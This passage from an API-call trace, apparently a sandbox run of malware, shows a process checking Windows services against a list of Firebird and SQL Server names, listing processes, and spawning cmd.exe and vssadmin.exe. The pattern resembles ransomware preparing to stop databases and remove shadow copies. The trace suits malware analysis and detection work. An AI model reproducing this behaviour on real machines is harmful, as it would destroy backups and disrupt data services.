(lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0251.558] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0251.558] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0251.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0251.558] lstrlenW (lpString="ProfSvc") returned 7 [0251.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0251.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0251.558] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0251.558] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0251.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0251.558] lstrlenW (lpString="RpcEptMapper") returned 12 [0251.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0251.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0251.558] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0251.558] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0251.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0251.558] lstrlenW (lpString="RpcSs") returned 5 [0251.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0251.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0251.559] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0251.559] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0251.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0251.559] lstrlenW (lpString="SamSs") returned 5 [0251.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0251.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0251.559] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0251.559] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0251.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0251.559] lstrlenW (lpString="Schedule") returned 8 [0251.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0251.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0251.559] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0251.559] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0251.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0251.559] lstrlenW (lpString="SecurityHealthService") returned 21 [0251.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0251.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0251.559] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0251.559] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0251.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0251.559] lstrlenW (lpString="SENS") returned 4 [0251.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0251.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0251.559] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0251.560] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0251.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0251.560] lstrlenW (lpString="ShellHWDetection") returned 16 [0251.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0251.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0251.560] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0251.560] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0251.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0251.560] lstrlenW (lpString="Spooler") returned 7 [0251.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0251.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0251.560] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0251.560] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0251.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0251.560] lstrlenW (lpString="StateRepository") returned 15 [0251.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0251.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0251.560] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0251.560] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0251.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0251.560] lstrlenW (lpString="SysMain") returned 7 [0251.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0251.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0251.561] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0251.561] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0251.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0251.561] lstrlenW (lpString="SystemEventsBroker") returned 18 [0251.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0251.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0251.561] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0251.561] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0251.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0251.561] lstrlenW (lpString="Themes") returned 6 [0251.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0251.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0251.561] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0251.561] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0251.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0251.561] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0251.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0251.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0251.561] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0251.561] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0251.562] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5d18 | out: hHeap=0x630000) returned 1 [0251.562] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1274 [0251.567] Process32FirstW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0251.568] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0251.569] lstrlenW (lpString="System") returned 6 [0251.569] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0251.622] lstrlenW (lpString="smss.exe") returned 8 [0251.623] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0251.624] lstrlenW (lpString="csrss.exe") returned 9 [0251.624] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0251.625] lstrlenW (lpString="wininit.exe") returned 11 [0251.625] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0251.656] lstrlenW (lpString="csrss.exe") returned 9 [0251.656] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0251.657] lstrlenW (lpString="winlogon.exe") returned 12 [0251.657] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0251.658] lstrlenW (lpString="services.exe") returned 12 [0251.658] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0251.659] lstrlenW (lpString="lsass.exe") returned 9 [0251.659] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0251.660] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0251.660] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0251.661] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0251.662] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.663] lstrlenW (lpString="svchost.exe") returned 11 [0251.663] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.664] lstrlenW (lpString="svchost.exe") returned 11 [0251.665] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0251.666] lstrlenW (lpString="dwm.exe") returned 7 [0251.666] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.667] lstrlenW (lpString="svchost.exe") returned 11 [0251.667] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.668] lstrlenW (lpString="svchost.exe") returned 11 [0251.668] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.669] lstrlenW (lpString="svchost.exe") returned 11 [0251.669] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.948] lstrlenW (lpString="svchost.exe") returned 11 [0251.948] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.949] lstrlenW (lpString="svchost.exe") returned 11 [0251.949] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.951] lstrlenW (lpString="svchost.exe") returned 11 [0251.951] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.952] lstrlenW (lpString="svchost.exe") returned 11 [0251.952] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.958] lstrlenW (lpString="svchost.exe") returned 11 [0251.958] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.959] lstrlenW (lpString="svchost.exe") returned 11 [0251.960] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.961] lstrlenW (lpString="svchost.exe") returned 11 [0251.961] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0251.962] lstrlenW (lpString="spoolsv.exe") returned 11 [0251.962] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.963] lstrlenW (lpString="svchost.exe") returned 11 [0251.963] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0251.964] lstrlenW (lpString="audiodg.exe") returned 11 [0251.964] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0251.965] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0251.965] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0251.966] lstrlenW (lpString="Memory Compression") returned 18 [0251.966] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0251.967] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0251.967] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0251.968] lstrlenW (lpString="taskhostw.exe") returned 13 [0251.968] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0251.970] lstrlenW (lpString="sihost.exe") returned 10 [0251.970] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.971] lstrlenW (lpString="svchost.exe") returned 11 [0251.971] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0251.972] lstrlenW (lpString="taskhostw.exe") returned 13 [0251.972] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0251.973] lstrlenW (lpString="msoia.exe") returned 9 [0251.973] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0251.974] lstrlenW (lpString="explorer.exe") returned 12 [0251.974] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0251.975] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0251.975] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0251.976] lstrlenW (lpString="SearchUI.exe") returned 12 [0251.976] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0251.977] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0251.977] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0251.977] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0251.978] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0251.996] lstrlenW (lpString="load0.exe") returned 9 [0251.996] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0251.997] lstrlenW (lpString="cmd.exe") returned 7 [0251.997] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2698, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0251.998] lstrlenW (lpString="conhost.exe") returned 11 [0251.998] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x272c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0251.999] lstrlenW (lpString="consent.exe") returned 11 [0251.999] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x2698, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0252.000] lstrlenW (lpString="vssadmin.exe") returned 12 [0252.000] Process32NextW (in: hSnapshot=0x1274, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x2698, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0252.001] CloseHandle (hObject=0x1274) returned 1 [0252.001] Sleep (dwMilliseconds=0x1f4) [0252.616] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f64668 [0252.617] EnumServicesStatusExW (in: hSCManager=0x3f64668, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 0 [0252.617] GetLastError () returned 0xea [0252.617] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c30) returned 0x3f9b168 [0252.618] EnumServicesStatusExW (in: hSCManager=0x3f64668, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f9b168, cbBufSize=0x1c30, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f9b168, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 1 [0252.619] CloseServiceHandle (hSCObject=0x3f64668) returned 1 [0252.619] lstrlenW (lpString="Appinfo") returned 7 [0252.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0252.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0252.619] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0252.619] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0252.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0252.619] lstrlenW (lpString="AppXSvc") returned 7 [0252.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0252.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0252.619] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0252.619] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0252.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0252.619] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0252.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0252.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 